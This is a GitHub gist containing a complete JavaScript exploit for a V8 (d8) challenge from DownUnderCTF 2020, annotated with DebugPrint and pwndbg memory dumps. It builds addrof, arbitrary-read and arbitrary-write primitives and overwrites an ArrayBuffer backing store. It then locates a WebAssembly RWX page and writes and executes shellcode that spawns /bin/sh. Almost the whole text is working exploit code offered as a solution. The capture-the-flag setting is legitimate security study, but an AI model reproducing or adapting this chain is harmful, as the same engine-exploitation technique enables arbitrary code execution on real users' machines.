Skip to content

Instantly share code, notes, and snippets.

@Xornet-Euphoria
Created January 15, 2024 11:49
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Xornet-Euphoria/64285c7b98bf09638145534ba8418fe3 to your computer and use it in GitHub Desktop.
Save Xornet-Euphoria/64285c7b98bf09638145534ba8418fe3 to your computer and use it in GitHub Desktop.
DownUnserCTF 2020 - is this pwn or web?
// only tested by `./d8 exploit.js`
// utility functions
// convert float64 <-> uint64
let buf = new ArrayBuffer(8);
let float_buf = new Float64Array(buf);
let uint_buf = new BigUint64Array(buf);
function f2i(v) {
float_buf[0] = v;
return uint_buf[0];
}
function i2f(v) {
uint_buf[0] = v;
return float_buf[0];
}
// print utils
function hexPrint(v) {
console.log("0x" + v.toString(16));
}
// --------------------------------------------------
// addrof
// using sharing elements between float_arr and obj_arr
// ref: https://seb-sec.github.io/2020/09/28/ductf2020-pwn-or-web.html
let float_arr = [1.1];
let obj_arr = [{A:1}];
float_arr = float_arr.slice(0);
obj_arr = obj_arr.slice(0);
/*
d8> %DebugPrint(obj_arr)
DebugPrint: 0x32e808084d2d: [JSArray]
- map: 0x32e80824394d <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x32e80820a555 <JSArray[0]>
- elements: 0x32e808084d21 <FixedArray[1]> [PACKED_ELEMENTS]
...
d8> %DebugPrint(float_arr)
DebugPrint: 0x32e808084d11: [JSArray]
- map: 0x32e8082438fd <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x32e80820a555 <JSArray[0]>
- elements: 0x32e808084d01 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
...
*/
// diff: 0x20
// pElements of float_arr = pElements of obj_arr
let obj_elm = f2i(float_arr[2]) + 0x20n; // from DebugPrint and gdb
float_arr[2] = i2f(obj_elm);
function addrof(o) {
obj_arr[0] = o;
return f2i(float_arr[0]) & 0xffffffffn; // note: ptr is compressed in v8 heap
}
// AAR
// tmp_float_arr[0] <=> *(tmp_float_arr->pElements + 0x8)
function aar(addr) {
addr -= 8n;
// compress ptr
if (addr % 2n == 0) {
addr += 1n
}
// write elements of tmp_float_arr
let tmp_float_arr = [1.1];
tmp_float_arr = tmp_float_arr.slice(0);
// save length of tmp_float_arr
let l = f2i(tmp_float_arr[2]) & 0xffffffff00000000n;
tmp_float_arr[2] = i2f(addr + l);
return f2i(tmp_float_arr[0]);
}
// AAW
// tmp_float_arr[0] <=> *(tmp_float_arr->pElements + 0x8)
function aaw(addr, v) {
addr -= 8n;
// compress ptr
if (addr % 2n == 0) {
addr += 1n
}
// write elements of tmp_float_arr
let tmp_float_arr = [1.1];
tmp_float_arr = tmp_float_arr.slice(0);
// save length of tmp_float_arr
let l = f2i(tmp_float_arr[2]) & 0xffffffff00000000n;
tmp_float_arr[2] = i2f(addr + l);
tmp_float_arr[0] = i2f(v);
}
// AAW to outside of v8 heap
/*
d8> %DebugPrint(aaw_buf)
DebugPrint: 0x319708085e35: [JSArrayBuffer]
- map: 0x31970824317d <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x319708208ba9 <Object map = 0x3197082431a5>
- elements: 0x3197080426dd <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x55752b6c7440
...
pwndbg> x/32gx 0x319708085e35-1
0x319708085e34: 0x080426dd0824317d 0x00000400080426dd
0x319708085e44: 0x2b6c744000000000 0x2b6c78d000005575 <- backing_store (+0x14)
0x319708085e54: 0x0000000200005575 0x0000000000000000
0x319708085e64: 0x0000000000000000 0x080426dd08242c2d
0x319708085e74: 0x08085e35080426dd 0x0000000000000000
0x319708085e84: 0x0000000000000400 0x00000af15fae7000 <- at first, i overwrite here but it's false positive
0x319708085e94: 0x0000000000000000 0x0000000000000000
0x319708085ea4: 0x08085e3508042351 0x080429690824394d
0x319708085eb4: 0x08085e3500000002 0x080429690824394d
0x319708085ec4: 0x08085e3500000002 0x0804296900000000
0x319708085ed4: 0x08085e9500000002 0x0804223900000000
0x319708085ee4: 0x0824385d00000000 0x08210cc9080426dd
0x319708085ef4: 0x0824385d000000b8 0x08210cc9080426dd
0x319708085f04: 0x0824317d000000b8 0x080426dd080426dd
0x319708085f14: 0x000000000000005c 0x000055752b7532a0
0x319708085f24: 0x000055752b6c7970 0x0000000000000002
pwndbg> search -8 0x55752b6c7440
Searching for value: b'@tl+uU\x00\x00'
[anon_319708080] 0x319708085e48 0x55752b6c7440 /* '@tl+uU' <- ???
[heap] 0x55752b6c7850 0x55752b6c7440 /* '@tl+uU'
*/
// diff: 0x14
let aaw_buf = new ArrayBuffer(0x400);
let dv = new DataView(aaw_buf);
let backing_store_addr = addrof(aaw_buf) + 0x14n;
function set_address_aaw_outside(addr) {
aaw(backing_store_addr, addr);
}
// prepare rwx page for shellcode
// stolen from pwners' scripts
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;
/*
pwndbg> x/16gx 0x3f8108212ba5-1
0x3f8108212ba4: 0x080426dd08245275 0x84000000080426dd
0x3f8108212bb4: 0x0001000000007f37 0x0000ffff00000000
0x3f8108212bc4: 0x0000004800000000 0x080426dd00003f81
0x3f8108212bd4: 0x0000560d463561c0 0x00000000080426dd
0x3f8108212be4: 0x0000000000000000 0x0000000000000000
0x3f8108212bf4: 0x0000000000000000 0x0000560d46356a90
0x3f8108212c04: 0x00003f8100000000 0x0000024928a0f000 <- start of RWX page
0x3f8108212c14: 0x080877e108087629 0x08212b8d0820221d
*/
// diff: 0x68
// get rwx addr
let wasm_addr = addrof(wasm_instance);
let rwx_addr = aar(wasm_addr + 0x68n)
set_address_aaw_outside(rwx_addr)
// write shellcode
let shellcode = [72, 49, 210, 82, 72, 184, 47, 98, 105, 110, 47, 47, 115, 104, 80, 72, 137, 231, 82, 87, 72, 137, 230, 72, 141, 66, 59, 15, 5]
for (let i = 0; i < shellcode.length; i++) {
dv.setUint8(i, shellcode[i]);
}
// Win!!
f();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment